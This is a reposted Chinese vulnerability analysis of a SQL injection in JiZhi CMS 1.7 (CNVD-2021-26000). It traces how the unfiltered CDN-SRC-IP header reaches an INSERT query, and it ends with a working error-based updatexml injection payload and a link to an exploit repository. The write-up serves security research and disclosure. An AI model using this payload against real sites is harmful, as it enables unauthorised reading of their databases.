极致CMS1.7 前台SQL注入(CNVD-2021-26000)

admin 2022年9月17日17:25:20评论96 views字数 4349阅读14分29秒阅读模式

本文仅用于技术讨论与研究,文中的实现方法切勿应用在任何违法场景。如因涉嫌违法造成的一切不良影响,本文作者概不负责。

0x00 漏洞描述

最近在 CNVD 上看到的  CNVD-2021-26000,后边学弟给了一份大佬的分析文章,可惜后来找不到了,可以前台 SQL 注入,比较有意思。

0x01 漏洞影响

极致CMS1.7

0x02 漏洞分析

既然说是前台 SQL 注入,那么漏洞应该是出在 Home 文件夹下,那么就重点观察这下面的 Controller

这里的 SQL 都是这样处理的

M('message')->add($w);

这里的话,M 是一个函数,主要用来获取一个新的实例

function M($name=null) {
if(empty($name)){
$path = 'FrPHPlib\Model';
return $path::getInstance();
}
$name = ucfirst($name);
if($name==''){
return '缺少模型类!';
}else{
$table = $name;
$name = APP_HOME.'\'.HOME_MODEL.'\'.$name.'Model';
if(!class_exists($name)){
$path = 'FrPHPlib\Model';
return $path::getInstance($table);
}else{
return $name::getInstance($table);
}

}
}

大致意思是实例化 Model  类,并初始化数据表的名字,这个类在 FrPHP/lib/Model.php,这里提供了add, delete , find, update 等函数,这些函数分别实现了增删查改

接下来我们关注跟数据库操作有关的输入,其实我们可以直接,大部分的输入都是由 frparam 方法处理的,我们来看看这个方法,位于 FrPHP/lib/Controller.php

public function frparam($str=null, $int=0,$default = FALSE, $method = null){
$data = $this->_data;
if($str===null) return $data;
if(!array_key_exists($str,$data)){
return ($default===FALSE)?false:$default;
}

if($method===null){
$value = $data[$str];
}else{
$method = strtolower($method);
switch($method){
case 'get':
$value = $_GET[$str];
break;
case 'post':
$value = $_POST[$str];
break;
case 'cookie':
$value = $_COOKIE[$str];
break;
}
}
return format_param($value,$int);
}

可以看到 $value 的值可以来自于两部分,第一可以从 $this->_data中取出,而这个 $this->_data 来自于哪里呢,可以追溯到父类的初始化 FrPHP/lib/Controller.php

public function __construct($param=null)
{
$this->_controller = APP_CONTROLLER;
$this->_action = APP_ACTION;
$this->_data = $param;

也就是父类在初始化的时候传进来的值,我们可以搜索全局的 controller 初始化,发现位于 FrPHP/Fr.php 342 行 ,朝上看就可以看到,是从这里传值进来的

第二是如果存在 $method 时,可以取出相应的值,最后会执行函数 format_param($value,$int)

function format_param($value=null,$int=0){
if($value==null){ return '';}
switch ($int){
case 0://整数
return (int)$value;
case 1://字符串
$value=htmlspecialchars(trim($value), ENT_QUOTES);
if(!get_magic_quotes_gpc())$value = addslashes($value);
return $value;
case 2://数组
if($value=='')return '';
array_walk_recursive($value, "array_format");
return $value;
case 3://浮点
return (float)$value;
case 4:
if(!get_magic_quotes_gpc())$value = addslashes($value);
return trim($value);
}
}

这里会根据传进来的 int 来判断是哪种类型的值,然后做对应的处理,这样防止了很多漏洞可能的发生,这里过滤的还是比较严格的,整数就会强行转整数,字符串就会html 实体化与转义,其他的也类似。数组会进入函数 array_format 进行 html 实体化等处理,这里有可能有问题的一点是,如果传进来的数组中有数字类型的,那有可能这个处理就不会起到作用,但这不是本文漏洞的重点

现在来找不依靠 frparam 方法可以直接传值进入sql 语句的点,成功找到一处,位于 Home/c/MessageController.php

if($_POST){

$w = $this->frparam();
$w = get_fields_data($w,'message',0);

$w['body'] = $this->frparam('body',1,'','POST');
$w['user'] = $this->frparam('user',1,'','POST');
$w['tel'] = $this->frparam('tel',1,'','POST');
$w['aid'] = $this->frparam('aid',0,0,'POST');
$w['tid'] = $this->frparam('tid',0,0,'POST');

if($this->webconf['autocheckmessage']==1){
$w['isshow'] = 1;
}else{
$w['isshow'] = 0;
}

$w['ip'] = GetIP();
$w['addtime'] = time();
...
$res = M('message')->add($w);
...

这里可以看到,$w 数组会进入 add 方法,前面的值都是从 frparam 中获取,但是注意这里

$w['ip'] = GetIP();
function GetIP(){ 
static $ip = '';
$ip = $_SERVER['REMOTE_ADDR'];
if(isset($_SERVER['HTTP_CDN_SRC_IP'])) {
$ip = $_SERVER['HTTP_CDN_SRC_IP'];
} elseif (isset($_SERVER['HTTP_CLIENT_IP']) && preg_match('/^([0-9]{1,3}.){3}[0-9]{1,3}$/', $_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif(isset($_SERVER['HTTP_X_FORWARDED_FOR']) AND preg_match_all('#d{1,3}.d{1,3}.d{1,3}.d{1,3}#s', $_SERVER['HTTP_X_FORWARDED_FOR'], $matches)) {
foreach ($matches[0] AS $xip) {
if (!preg_match('#^(10|172.16|192.168).#', $xip)) {
$ip = $xip;
break;
}
}
}
return $ip;
}

这里可以看到 $ip 的值可以由多个 $_SERVER 中的值得到,其他的值都不好伪造,但是我们可以伪造这个

$ip = $_SERVER['HTTP_CDN_SRC_IP'];

查阅资料知道,我们可以通过添加 header 来伪造

CDN-SRC-IP: 127.0.0.1

这里没有规范他的输入,因此此处输入可控,最后进入 $res = M('message')->add($w);

public function add($row)
{
if(!is_array($row))return FALSE;
$row = $this->__prepera_format($row);
if(empty($row))return FALSE;
foreach($row as $key => $value){
if($value!==null){
$cols[] = $key;
$vals[] = '''.$value.''';
}
}
$col = join(',', $cols);
$val = join(',', $vals);
$table = self::$table;
$sql = "INSERT INTO {$table} ({$col}) VALUES ({$val})";
if( FALSE != $this->runSql($sql) ){
if( $newinserid = $this->db->lastInsertId() ){
return $newinserid;
}else{
$a=$this->find($row, "{$this->primary} DESC",$this->primary);
return array_pop($a);
}
}
return FALSE;
}

这个数据库代码没有什么过滤的地方,比较常规的数据库插入

0x03 漏洞复现

极致CMS1.7 前台SQL注入(CNVD-2021-26000)

很明显,可以报错注入,留个 payload

CDN-SRC-IP: 127.0.0.1' or updatexml(1,concat(0x7e,database(),0x7e),0) or '

0x04 总结

这个是看过大佬的文章后,找不到文章了,只好自己从头开始审计,也是比较好的运气,重新找到了这处漏洞,从这处漏洞可以知道,不仅仅只有 GETPOSTCOOKIE 可以进行操作,还有其他的也是可以的,还有就是一个CMS 中,可能大部分都会用同一个过滤比较严格的函数处理,但是还是会有漏网之鱼。

0x05 链接

环境与 exp 都可以在如下链接获取

GitHub

https://github.com/N0puple/vulPOC

公众号

公众号搜索:安全漏洞复现

扫码持续关注:

极致CMS1.7 前台SQL注入(CNVD-2021-26000)


原文始发于微信公众号(安全漏洞复现):极致CMS1.7 前台SQL注入(CNVD-2021-26000)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年9月17日17:25:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   极致CMS1.7 前台SQL注入(CNVD-2021-26000)http://cn-sec.com/archives/1300828.html

发表评论

匿名网友 填写信息